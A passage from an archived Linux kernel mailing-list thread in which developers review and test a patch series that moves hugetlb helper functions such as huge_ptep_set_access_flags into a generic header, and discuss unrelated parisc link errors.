Original-Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71])
 by aserp2130.oracle.com with ESMTP id 2kbtbd4ku2-1
 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
 Thu, 26 Jul 2018 19:12:40 +0000
Original-Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235])
 by userv0021.oracle.com (8.14.4/8.14.4) with ESMTP id w6QJCdJv031607
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
 Thu, 26 Jul 2018 19:12:39 GMT
Original-Received: from abhmp0006.oracle.com (abhmp0006.oracle.com [141.146.116.12])
 by aserv0121.oracle.com (8.14.4/8.13.8) with ESMTP id w6QJCcN5013259;
 Thu, 26 Jul 2018 19:12:38 GMT
Original-Received: from [192.168.1.164] (/50.38.38.67)
 by default (Oracle Beehive Gateway v4.0)
 with ESMTP ; Thu, 26 Jul 2018 12:12:38 -0700
In-Reply-To: <20180705110716.3919-11-alex@ghiti.fr>
Content-Language: en-US
X-Proofpoint-Virus-Version: vendor=nai engine=5900 definitions=8966
 signatures=668706
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 suspectscore=0
 malwarescore=0
 phishscore=0 bulkscore=0 spamscore=0 mlxscore=0 mlxlogscore=919
 adultscore=0 classifier=spam adjust=0 reason=mlx scancount=1
 engine=8.0.1-1806210000 definitions=main-1807260196
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180726_121329_220619_1CDED7E3 
X-CRM114-Status: GOOD (  22.83  )
X-Spam-Score: -2.4 (--)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-2.4 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -2.3 RCVD_IN_DNSWL_MED      RBL: Sender listed at http://www.dnswl.org/, medium
 trust [141.146.126.79 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.0 T_DKIMWL_WL_HIGH       DKIMwl.org - Whitelisted High sender
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:666284 gmane.linux.kernel:2831693 gmane.linux.ports.ia64:28972 gmane.linux.ports.mips.general:65688 gmane.linux.ports.parisc:28834 gmane.linux.ports.ppc64.devel:160479 gmane.linux.ports.sh.devel:57269 gmane.linux.ports.sparc:28130 gmane.linux.kernel.cross-arch:45507
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/666284>

On 07/05/2018 04:07 AM, Alexandre Ghiti wrote:
> arm, ia64, sh, x86 architectures use the same version
> of huge_ptep_set_access_flags, so move this generic implementation
> into asm-generic/hugetlb.h.
> 

Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
-- 
Mike Kravetz

> Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
> ---
>  arch/arm/include/asm/hugetlb-3level.h | 7 -------
>  arch/arm64/include/asm/hugetlb.h      | 1 +
>  arch/ia64/include/asm/hugetlb.h       | 7 -------
>  arch/mips/include/asm/hugetlb.h       | 1 +
>  arch/parisc/include/asm/hugetlb.h     | 1 +
>  arch/powerpc/include/asm/hugetlb.h    | 1 +
>  arch/sh/include/asm/hugetlb.h         | 7 -------
>  arch/sparc/include/asm/hugetlb.h      | 1 +
>  arch/x86/include/asm/hugetlb.h        | 7 -------
>  include/asm-generic/hugetlb.h         | 9 +++++++++
>  10 files changed, 14 insertions(+), 28 deletions(-)
> 
> diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
> index 8247cd6a2ac6..54e4b097b1f5 100644
> --- a/arch/arm/include/asm/hugetlb-3level.h
> +++ b/arch/arm/include/asm/hugetlb-3level.h
> @@ -37,11 +37,4 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
>  	return retval;
>  }
>  
> -static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
> -					     unsigned long addr, pte_t *ptep,
> -					     pte_t pte, int dirty)
> -{
> -	return ptep_set_access_flags(vma, addr, ptep, pte, dirty);
> -}
> -
>  #endif /* _ASM_ARM_HUGETLB_3LEVEL_H */
> diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
> index f4f69ae5466e..80887abcef7f 100644
> --- a/arch/arm64/include/asm/hugetlb.h
> +++ b/arch/arm64/include/asm/hugetlb.h
> @@ -42,6 +42,7 @@ extern pte_t arch_make_huge_pte(pte_t entry, struct vm_area_struct *vma,
>  #define __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
>  extern void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
>  			    pte_t *ptep, pte_t pte);
> +#define __HAVE_ARCH_HUGE_PTEP_SET_ACCESS_FLAGS
>  extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
>  				      unsigned long addr, pte_t *ptep,
>  				      pte_t pte, int dirty);
> diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
> index 49d1f7949f3a..e9b42750fdf5 100644
> --- a/arch/ia64/include/asm/hugetlb.h
> +++ b/arch/ia64/include/asm/hugetlb.h
> @@ -27,13 +27,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  {
>  }
>  
> -static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
> -					     unsigned long addr, pte_t *ptep,
> -					     pte_t pte, int dirty)
> -{
> -	return ptep_set_access_flags(vma, addr, ptep, pte, dirty);
> -}
> -
>  static inline pte_t huge_ptep_get(pte_t *ptep)
>  {
>  	return *ptep;
> diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
> index 3dcf5debf8c4..120adc3b2ffd 100644
> --- a/arch/mips/include/asm/hugetlb.h
> +++ b/arch/mips/include/asm/hugetlb.h
> @@ -63,6 +63,7 @@ static inline int huge_pte_none(pte_t pte)
>  	return !val || (val == (unsigned long)invalid_pte_table);
>  }
>  
> +#define __HAVE_ARCH_HUGE_PTEP_SET_ACCESS_FLAGS
>  static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
>  					     unsigned long addr,
>  					     pte_t *ptep, pte_t pte,
> diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
> index 9c3950ca2974..165b4e5a6f32 100644
> --- a/arch/parisc/include/asm/hugetlb.h
> +++ b/arch/parisc/include/asm/hugetlb.h
> @@ -43,6 +43,7 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  void huge_ptep_set_wrprotect(struct mm_struct *mm,
>  					   unsigned long addr, pte_t *ptep);
>  
> +#define __HAVE_ARCH_HUGE_PTEP_SET_ACCESS_FLAGS
>  int huge_ptep_set_access_flags(struct vm_area_struct *vma,
>  					     unsigned long addr, pte_t *ptep,
>  					     pte_t pte, int dirty);
> diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
> index 69c14ecac133..658bf7136a3c 100644
> --- a/arch/powerpc/include/asm/hugetlb.h
> +++ b/arch/powerpc/include/asm/hugetlb.h
> @@ -137,6 +137,7 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  	flush_hugetlb_page(vma, addr);
>  }
>  
> +#define __HAVE_ARCH_HUGE_PTEP_SET_ACCESS_FLAGS
>  extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
>  				      unsigned long addr, pte_t *ptep,
>  				      pte_t pte, int dirty);
> diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
> index 8df4004977b9..c87195ae0cfa 100644
> --- a/arch/sh/include/asm/hugetlb.h
> +++ b/arch/sh/include/asm/hugetlb.h
> @@ -32,13 +32,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  {
>  }
>  
> -static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
> -					     unsigned long addr, pte_t *ptep,
> -					     pte_t pte, int dirty)
> -{
> -	return ptep_set_access_flags(vma, addr, ptep, pte, dirty);
> -}
> -
>  static inline pte_t huge_ptep_get(pte_t *ptep)
>  {
>  	return *ptep;
> diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
> index c41754a113f3..028a1465fbe7 100644
> --- a/arch/sparc/include/asm/hugetlb.h
> +++ b/arch/sparc/include/asm/hugetlb.h
> @@ -40,6 +40,7 @@ static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>  	set_huge_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
>  }
>  
> +#define __HAVE_ARCH_HUGE_PTEP_SET_ACCESS_FLAGS
>  static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
>  					     unsigned long addr, pte_t *ptep,
>  					     pte_t pte, int dirty)
> diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
> index de370836a17d..1df8944904c6 100644
> --- a/arch/x86/include/asm/hugetlb.h
> +++ b/arch/x86/include/asm/hugetlb.h
> @@ -12,13 +12,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
>  	return 0;
>  }
>  
> -static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
> -					     unsigned long addr, pte_t *ptep,
> -					     pte_t pte, int dirty)
> -{
> -	return ptep_set_access_flags(vma, addr, ptep, pte, dirty);
> -}
> -
>  static inline pte_t huge_ptep_get(pte_t *ptep)
>  {
>  	return *ptep;
> diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
> index 9b9039845278..f3c99a03ee83 100644
> --- a/include/asm-generic/hugetlb.h
> +++ b/include/asm-generic/hugetlb.h
> @@ -110,4 +110,13 @@ static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>  }
>  #endif
>  
> +#ifndef __HAVE_ARCH_HUGE_PTEP_SET_ACCESS_FLAGS
> +static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
> +		unsigned long addr, pte_t *ptep,
> +		pte_t pte, int dirty)
> +{
> +	return ptep_set_access_flags(vma, addr, ptep, pte, dirty);
> +}
> +#endif
> +
>  #endif /* _ASM_GENERIC_HUGETLB_H */
> 

From - Thu Nov 08 21:41:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alex Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 00/11] hugetlb: Factorize hugetlb architecture
 primitives
Date: Thu, 26 Jul 2018 19:13:59 +0000
Lines: 147
Approved: news@gmane.org
Message-ID: <6ec7c5dc-feb1-86ff-b7d9-7794c92eaf0f@ghiti.fr>
References: <20180705110716.3919-1-alex@ghiti.fr>
 <20180709141621.GD22297@dhcp22.suse.cz>
 <2173685f-7f85-7acb-4685-2383210c5fa2@ghiti.fr>
 <87d0vehx16.fsf@concordia.ellerman.id.au>
 <67aba0f0-c0d4-b06f-5fbc-f4d113ce5033@ghiti.fr>
 <20180726125940.GA15033@ls3530>
 <de188e2f-99ab-53fa-20df-4fec00a935e9@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1532632338 30964 195.159.176.226 (26 Jul 2018 19:12:18 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 26 Jul 2018 19:12:18 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.7.0
Cc: Michael Ellerman <mpe@ellerman.id.au>,
        Michal Hocko <mhocko@kernel.org>, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, benh@kernel.crashing.org,
        paulus@samba.org, ysato@users.sourceforge.jp, dalias@libc.org,
        davem@davemloft.net, tglx@linutronix.de, mingo@redhat.com,
        hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org,
        Naoya Horiguchi <n-horiguchi@ah.jp.nec.com>,
        Mike Krav
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 26 21:12:11 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1filgI-0007tE-Gv
	for glk-linux-kernel-4@m.gmane.org; Thu, 26 Jul 2018 21:12:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1731542AbeGZUca (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 26 Jul 2018 16:32:30 -0400
Original-Received: from relay10.mail.gandi.net ([217.70.178.230]:55911 "EHLO
        relay10.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1729801AbeGZUca (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 26 Jul 2018 16:32:30 -0400
Original-Received: from [192.168.0.11] (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay10.mail.gandi.net (Postfix) with ESMTPSA id 050C4240005;
        Thu, 26 Jul 2018 19:13:59 +0000 (UTC)
In-Reply-To: <de188e2f-99ab-53fa-20df-4fec00a935e9@ghiti.fr>
Content-Language: fr
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2831695 gmane.linux.ports.arm.kernel:666286 gmane.linux.ports.ia64:28973 gmane.linux.ports.mips.general:65689 gmane.linux.ports.parisc:28835 gmane.linux.ports.ppc64.devel:160480 gmane.linux.ports.sh.devel:57270 gmane.linux.ports.sparc:28131 gmane.linux.kernel.cross-arch:45508
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2831695>

Actually, I went back to v4.17, and I have the same errors.

I used:

$ make ARCH=parisc O=build_parisc generic-64bit_defconfig
$ PATH=/home/alex/wip/toolchain/gcc-8.1.0-nolibc/hppa64-linux/bin:$PATH 
make ARCH=parisc CROSS_COMPILE=hppa64-linux-

I downloaded the crosscompiler here: 
https://mirrors.edge.kernel.org/pub/tools/crosstool/files/bin/x86_64/8.1.0/


On 07/26/2018 05:01 PM, Alex Ghiti wrote:
> Hi Helge,
>
> Thanks for your tests.
> In case it can help you, this is what I get when I try to build 
> generic-64bit_defconfig (I truncated the output):
>
> ...
>
> LD vmlinux.o
> MODPOST vmlinux.o
> hppa64-linux-ld: init/main.o(.text+0x98): cannot reach strreplace
> init/main.o: In function `initcall_blacklisted':
> init/.tmp_main.o:(.text+0x98): relocation truncated to fit: 
> R_PARISC_PCREL22F against symbol `strreplace' defined in .text section 
> in lib/string.o
> hppa64-linux-ld: init/main.o(.text+0xbc): cannot reach strcmp
> init/.tmp_main.o:(.text+0xbc): relocation truncated to fit: 
> R_PARISC_PCREL22F against symbol `strcmp' defined in .text section in 
> lib/string.o
> hppa64-linux-ld: init/main.o(.text+0x21c): cannot reach strcpy
> init/main.o: In function `do_one_initcall':
> (.text+0x21c): relocation truncated to fit: R_PARISC_PCREL22F against 
> symbol `strcpy' defined in .text section in lib/string.o
> hppa64-linux-ld: init/main.o(.text+0x250): cannot reach strlcat
> (.text+0x250): relocation truncated to fit: R_PARISC_PCREL22F against 
> symbol `strlcat' defined in .text section in lib/string.o
> hppa64-linux-ld: init/main.o(.init.text+0x1d4): cannot reach strcmp
> init/main.o: In function `do_early_param':
> init/.tmp_main.o:(.init.text+0x1d4): relocation truncated to fit: 
> R_PARISC_PCREL22F against symbol `strcmp' defined in .text section in 
> lib/string.o
> hppa64-linux-ld: init/main.o(.init.text+0x250): cannot reach strcmp
> init/.tmp_main.o:(.init.text+0x250): relocation truncated to fit: 
> R_PARISC_PCREL22F against symbol `strcmp' defined in .text section in 
> lib/string.o
> hppa64-linux-ld: init/main.o(.init.text+0x294): cannot reach strlen
> init/main.o: In function `repair_env_string':
> init/.tmp_main.o:(.init.text+0x294): relocation truncated to fit: 
> R_PARISC_PCREL22F against symbol `strlen' defined in .text section in 
> lib/string.o
> hppa64-linux-ld: init/main.o(.init.text+0x2f0): cannot reach strlen
> init/.tmp_main.o:(.init.text+0x2f0): relocation truncated to fit: 
> R_PARISC_PCREL22F against symbol `strlen' defined in .text section in 
> lib/string.o
> hppa64-linux-ld: init/main.o(.init.text+0x308): cannot reach memmove
> init/.tmp_main.o:(.init.text+0x308): relocation truncated to fit: 
> R_PARISC_PCREL22F against symbol `memmove' defined in .text section in 
> lib/string.o
> hppa64-linux-ld: init/main.o(.init.text+0x454): cannot reach strlen
> init/main.o: In function `unknown_bootoption':
> init/.tmp_main.o:(.init.text+0x454): relocation truncated to fit: 
> R_PARISC_PCREL22F against symbol `strlen' defined in .text section in 
> lib/string.o
> hppa64-linux-ld: init/main.o(.init.text+0x4dc): cannot reach strchr
> init/.tmp_main.o:(.init.text+0x4dc): additional relocation overflows 
> omitted from the output
> hppa64-linux-ld: init/main.o(.init.text+0x638): cannot reach strncmp
> hppa64-linux-ld: init/main.o(.init.text+0x694): cannot reach get_option
> hppa64-linux-ld: init/main.o(.init.text+0x744): cannot reach strsep
> hppa64-linux-ld: init/main.o(.init.text+0x798): cannot reach strlen
> hppa64-linux-ld: init/main.o(.init.text+0x7d0): cannot reach strcpy
> hppa64-linux-ld: init/main.o(.init.text+0x954): cannot reach strlcpy
> hppa64-linux-ld: init/main.o(.init.text+0xab8): cannot reach strlen
> hppa64-linux-ld: init/main.o(.init.text+0xafc): cannot reach strlen
> hppa64-linux-ld: init/main.o(.init.text+0xb40): cannot reach strlen
> hppa64-linux-ld: init/main.o(.init.text+0xb84): cannot reach strlen
> hppa64-linux-ld: init/main.o(.init.text+0xbd0): cannot reach strcpy
> hppa64-linux-ld: init/main.o(.init.text+0xbe8): cannot reach strcpy
> hppa64-linux-ld: init/main.o(.init.text+0xc3c): cannot reach 
> build_all_zonelists
> hppa64-linux-ld: init/main.o(.init.text+0x1200): cannot reach unknown
> hppa64-linux-ld: init/main.o(.init.text+0x1278): cannot reach 
> wait_for_completion
> hppa64-linux-ld: init/main.o(.init.text+0x12b0): cannot reach 
> _raw_spin_lock
> hppa64-linux-ld: init/main.o(.init.text+0x147c): cannot reach strcpy
> hppa64-linux-ld: init/main.o(.ref.text+0x40): cannot reach kernel_thread
> hppa64-linux-ld: init/main.o(.ref.text+0x60): cannot reach 
> find_task_by_pid_ns
> hppa64-linux-ld: init/main.o(.ref.text+0x98): cannot reach 
> set_cpus_allowed_ptr
> hppa64-linux-ld: init/main.o(.ref.text+0xbc): cannot reach kernel_thread
> hppa64-linux-ld: init/main.o(.ref.text+0xd4): cannot reach 
> find_task_by_pid_ns
> hppa64-linux-ld: init/main.o(.ref.text+0x108): cannot reach complete
> hppa64-linux-ld: init/main.o(.ref.text+0x128): cannot reach 
> cpu_startup_entry
> hppa64-linux-ld: init/main.o(.ref.text+0x164): cannot reach unknown
> hppa64-linux-ld: init/main.o(.ref.text+0x174): cannot reach 
> async_synchronize_full
> hppa64-linux-ld: init/main.o(.ref.text+0x1a4): cannot reach 
> rcu_barrier_sched
> hppa64-linux-ld: init/main.o(.ref.text+0x1b4): cannot reach 
> mark_rodata_ro
> hppa64-linux-ld: init/main.o(.ref.text+0x1d4): cannot reach 
> rcu_end_inkernel_boot
> hppa64-linux-ld: init/main.o(.ref.text+0x1f4): cannot reach unknown
> hppa64-linux-ld: init/main.o(.ref.text+0x218): cannot reach printk
> hppa64-linux-ld: init/main.o(.ref.text+0x238): cannot reach unknown
> hppa64-linux-ld: init/main.o(.ref.text+0x258): cannot reach panic
> hppa64-linux-ld: init/main.o(.ref.text+0x268): cannot reach printk
> hppa64-linux-ld: init/main.o(.ref.text+0x280): cannot reach unknown
> hppa64-linux-ld: init/main.o(.ref.text+0x29c): cannot reach unknown
> hppa64-linux-ld: init/main.o(.ref.text+0x2b8): cannot reach unknown
> hppa64-linux-ld: init/main.o(.ref.text+0x2d4): cannot reach unknown
> hppa64-linux-ld: init/main.o(.ref.text+0x2f0): cannot reach panic
> hppa64-linux-ld: init/do_mounts.o(.text+0x30): cannot reach strncasecmp
> hppa64-linux-ld: init/do_mounts.o(.text+0x158): cannot reach strncmp
> hppa64-linux-ld: init/do_mounts.o(.text+0x180): cannot reach strchr
>
> ...
>
>
> On 07/26/2018 12:59 PM, Helge Deller wrote:
>> * Alex Ghiti <alex@ghiti.fr>:
>>> This is the result of the build for all arches tackled in this series
>>> rebased on 4.18-rc6:
>>> ...
>>> parisc:
>>>  generic-64bit_defconfig: with huge page does not link
>>>  generic-64bit_defconfig: without huge page does not link
>>>  BUT not because of this series, any feedback welcome.
>> Strange, but I will check that later....
>>
>> Anyway, I applied your v4-patch to my parisc64 tree, built the kernel,
>> started it and ran some hugetlb LTP testcases sucessfully.
>> So, please add:
>>
>> Tested-by: Helge Deller <deller@gmx.de> # parisc
>>
>> Helge
>



From - Thu Nov 08 21:41:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Kravetz <mike.kravetz@oracle.com>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 11/11] hugetlb: Introduce generic version of
 huge_ptep_get
Date: Thu, 26 Jul 2018 12:13:52 -0700
Lines: 177
Approved: news@gmane.org
Message-ID: <b309296d-ec88-a682-0a10-38a3408a51b7@oracle.com>
References: <20180705110716.3919-1-alex@ghiti.fr>
 <20180705110716.3919-12-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1532632488 9898 195.159.176.226 (26 Jul 2018 19:14:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 26 Jul 2018 19:14:48 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.9.1
To: Alexandre Ghiti <alex@ghiti.fr>, linux@armlinux.org.uk,
 catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
 fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
 jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
 benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
 ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
 tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com, x86@kernel.org,
 arnd@arndb.de, linux-arm-kernel@lists.infradead.org,
 linux-kernel@vger.kernel.org, linux-ia64@vger.kernel.org,
 linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
 linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
 sparclinux@vger.kernel.org, linux-arch@vger.kernel.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu Jul 26 21:14:41 2018
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1filii-0002Pq-L9
	for linux-arm-kernel@m.gmane.org; Thu, 26 Jul 2018 21:14:41 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:Date:
	Message-ID:From:References:To:Subject:Reply-To:Cc:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=JjZfv6vw9E3XrdDUOWCxoyIPDFrVKSWgFLl0uV6RZnk=; b=n0jil42jT9ioB35AjZeUhd8QyG
	dFakvoT9gL2Wfa07yM90bZjTy/78EGjWNHk8vKTYl9/V3Ky4aWodK4RWzc2acwqZatXesgzxppP1M
	CUCEtSKxrfBNZlZvafOhcRzeoE4PjoDGD+/93wnpWW0Yy+kj34RmMZKWxQM3w9GgfFsHkTX6RH/Jv
	mCKZlDllBnFd6zlpwR+5XL/d9vtYAgP1THiw/2lJ4u+mphuERD8SkWWwtpI5pbAALJ44f4gmV+YcT
	H/yhc7yhcI2+Vu8SN1FB6UAjPtH0gUyocr64t4o47fOp7Eav1bJA/2fDFPqQd5M+AaLhJNEYUMQp2
	2ra1ioVw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1filkn-0008Vu-N9; Thu, 26 Jul 2018 19:16:49 +0000
Original-Received: from aserp2130.oracle.com ([141.146.126.79])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1filkk-0008Uj-78
 for linux-arm-kernel@lists.infradead.org; Thu, 26 Jul 2018 19:16:47 +0000
Original-Received: from pps.filterd (aserp2130.oracle.com [127.0.0.1])
 by aserp2130.oracle.com (8.16.0.22/8.16.0.22) with SMTP id w6QJDw04138719;
 Thu, 26 Jul 2018 19:13:58 GMT
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=oracle.com;
 h=subject : to :
 references : from : message-id : date : mime-version : in-reply-to :
 content-type : content-transfer-encoding; s=corp-2018-07-02;
 bh=taAOtsh4qO6zvvAHSarePCOK0lWno0wk9wFEbgwFchU=;
 b=O/wUfolLd5bcQFjOrq2WUuUg/o1TrWnS0zxSPrRNmIVygXuB7wBLQbP1PNF7+MnaS/jp
 /cOoGyWI4FJpeBN3WyCiNofeT/DcIWslm/tgHtu0gHsnkCP7cFRxJTeP1sGpYUuD+0K3
 Yunvkgn/ob7kCiJDCmVFIEFjJRJFG3pw9aCXNa1dsl0N3ER28uZe89FSUh6fl+ndFtVy
 vj3sI2PTDwP7AAK+FawYvQy7kWld2v7gjoeh7uErtDFySIHJcSDTNVo1l0hkuwQk0YhS
 PjGz5MUxhfqCESh83XcsXZOboTvHkXa5D+T7kMuwFXPz5RMJ3Mq39BHmP5YNygtgp4su DA== 
Original-Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71])
 by aserp2130.oracle.com with ESMTP id 2kbtbd4kxv-1
 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
 Thu, 26 Jul 2018 19:13:58 +0000
Original-Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72])
 by userv0021.oracle.com (8.14.4/8.14.4) with ESMTP id w6QJDvnM003003
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
 Thu, 26 Jul 2018 19:13:57 GMT
Original-Received: from abhmp0010.oracle.com (abhmp0010.oracle.com [141.146.116.16])
 by userv0121.oracle.com (8.14.4/8.13.8) with ESMTP id w6QJDt6R021102;
